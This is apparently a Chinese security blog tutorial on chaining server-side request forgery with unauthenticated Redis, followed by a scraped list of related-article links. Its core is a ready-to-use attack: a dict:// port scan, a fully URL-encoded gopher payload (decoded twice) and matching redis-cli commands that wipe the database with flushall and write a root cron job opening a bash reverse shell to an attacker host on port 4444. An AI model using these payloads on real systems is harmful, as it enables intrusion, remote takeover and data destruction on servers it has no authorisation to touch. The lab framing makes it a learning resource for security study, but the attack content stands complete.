SSRF结合Redis未授权的打法
SSRF不难理解,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。
服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。
SSRF + Redis未授权 案例
SSRF漏洞结合Redis未授权漏洞,怎么利用?
SSRF漏洞可以:
- 利用可以访问内网的主机当成代理;
Redis未授权访问漏洞,可以利用该漏洞实现:
- 信息泄露、数据删除;
- 写入SSH公钥,SSH远程登录;
- 反弹Shell
- Dict协议
- gopher协议
- 构造Redis数据包,通过写入Linux 计划任务
- 构造Redis数据包,利用Redis的数据备份功能,将web shell写入目标服务器(centos)的网站根目录下,然后用菜刀连接获取shell。
- ...
结合起来就是:
通过代理向内网机器发送请求,收到请求的内网机器,因为机器自身存在未授权Redis漏洞,可以反弹Shell出去。
流程如下:
- 找到SSRF
- 找6379端口的过程
- 验证是否存在SSRF
- 发送Web攻击荷载
流程图:

条件:
当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。
找6379端口的过程:
基于dict协议的利用
GET /ssrf/ssrf.phpurl=dict://192.168.124.153:&XXXX& HTTP/1.1
只需要遍历&XXXX& 从 0-65535 即可。
可能6379端口会修改成别的端口,但可以通过一些响应包内的特征确认:

验证是否存在SSRF的方式之一:
GET /ssrf/ssrf.php?url=http://Xxxx.dnslog.cn HTTP/1.1
发送redis数据包:
http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61
解码:
gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
在解码:
gopher://192.168.40.34:6379/_*1
$8
flushall
*3
$3
set
$1
1
$59
*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
只需要修改 192.168.40.10/4444 ,在攻击者机器监听4444端口,就可以得到shell了。
思考:
本次实验只是针对基于SSRF漏洞的gopher协议攻击,但是在真实环境中,SSRF内的内网主机或者服务器有可能是不出网,这时候怎么反弹shell ?
如果目标 Redis 服务器存在身份验证,公网内存在VPS怎么反弹?如果没有root权限怎么实现计划任务?
怎么构造 redis 数据包?
背景知识:
gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。
在利用gopher协议进行攻击时,我们首先要知道gopher协议的流的怎么样的,所以现在需要构造一个正常请求,在攻击机上启用监听,使用流量转发工具socat,抓取tcp流量,然后将其流量转换为gopher格式,生成gopher流的攻击样本,为下面是构造一个gopher流的过程:
打开socat流量工具,记录攻击流量
现找一台类似环境的Redis服务器,在系统中执行如下命令:
Redis攻击代码:
redis-cli -h 127.0.0.1 flushall #清除缓存
echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1 #反弹shell,由于在kali机上开启了监听,所以可以将本地的流量转发至这里,每隔1分钟往kali弹shell redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录,这里指的是计划任务
redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字,也就是将计划任务写入到目标的文件
redis-cli -h 127.0.0.1 save #保存
将如上的流量写入到1.txt,在将1.txt的TCP流形式转换为gopher流格式:
*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
Reference
SSRF之利用dict和gopher吊打Redis
https://www.cnblogs.com/CoLo/p/14214208.html
SSRF——手把手教你Redis反弹Shell
https://blog.csdn.net/sudu2020dd/article/details/130998763
SSRF结合Redis未授权的打法的更多相关文章
- ssrf对redis未授权访问写webshell
docker建立redis镜像 docker run -d -p 9999:6379 redis 将redis的6379端口映射到物理机的9999端口 使用工具生成攻击代码 攻击 进入容器查看
- 浅谈Redis未授权访问漏洞
Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...
- [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上
一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...
- Redis未授权访问缺陷让服务器沦为肉鸡
朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...
- 修补--Redis未授权访问漏洞
--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...
- redis 未授权漏洞利用直接登录服务器
在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp 的查看下没有任何异常 在top 下查到了有异常 ...
- Redis未授权访问
最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- Redis未授权漏洞利用方式
总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...
- Redis 未授权访问漏洞(附Python脚本)
0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...
随机推荐
- C 编程异常 — double free or corruption (fasttop)
问题:运行代码的时候程序崩溃. *** Error in `./parsing': double free or corruption (fasttop): 0x00000000023d2350 ** ...
- mybaits-plus实现自定义字典转换
需求:字典实现类似mybatis-plus中@EnumValue的功能,假设枚举类中应用使用code,数据库存储对应的value 思路:Mybatis支持对Executor.StatementHand ...
- 倒计时7天!AIRIOT新品发布会,6月6日北京见。
随着物联网.大数据.AI技术的成熟和演进,智能物联网技术正在加速.深入渗透至各行业应用. AIRIOT物联网平台作为赋能数字经济发展和产业转型的数字基座,由航天科技控股集团股份有限公司(股票代码:00 ...
- JavaScript字符串对象转JSON格式
JavaScript字符串对象转JSON格式 原始数据 { xAxis: { type: 'category', data: ['Mon', 'Tue', ...
- Linux下mv和cp命令的区别
1.功能上的区别 mv:用户可以使用mv为文件或目录重命名或将文件由一个目录移入另一个目录中. cp: cp的功能是将给出的文件或目录拷贝到另一文件或目录中. 2.inode上的区别(inod ...
- mysql 命令行安装方式
一:下载 先到 mysql 官方网站下载:https://dev.mysql.com/downloads/mysql/ 点击直接下载: 解压到目录:D:\mysql-8.0.19-winx64 如图 ...
- PHP 中使用 ElasticSearch 的最佳实践(上)
PHP 中使用 ElasticSearch 的最佳实践 引言 PHP 开发者其实使用到 ES 的情况并不多,因为开发的大多数项目可能都没有快速模糊搜索的需求. 即使有这样的需求,用 MySQL 的 l ...
- CF题解合集
CF 比赛题解合集 目录 CF 比赛题解合集 1952 A. Ntarsis' Set B. Imbalanced Arrays C. Ina of the Mountain D. Miriany a ...
- kettle从入门到精通 第四十八课 ETL之kettle webspoon
1.kettle自带的客户端spoon工具是cs架构,多人协同办公起来不是特别方便.当然spoon也可以通过文件仓库设置为database模式进行协同办公.每个人在自己电脑上安装&打开spoo ...
- kettle从入门到精通 第三十三课 再谈 kettle 表输出 分区/分片
1.之前第九章有讲过kettle 表输出步骤,里面有简单的提到过表输出步骤里面的表分区设置,这里详细介绍下. 表分区数据:选择此选项可根据"分区"字段中指定的日期字段的值将数据拆分 ...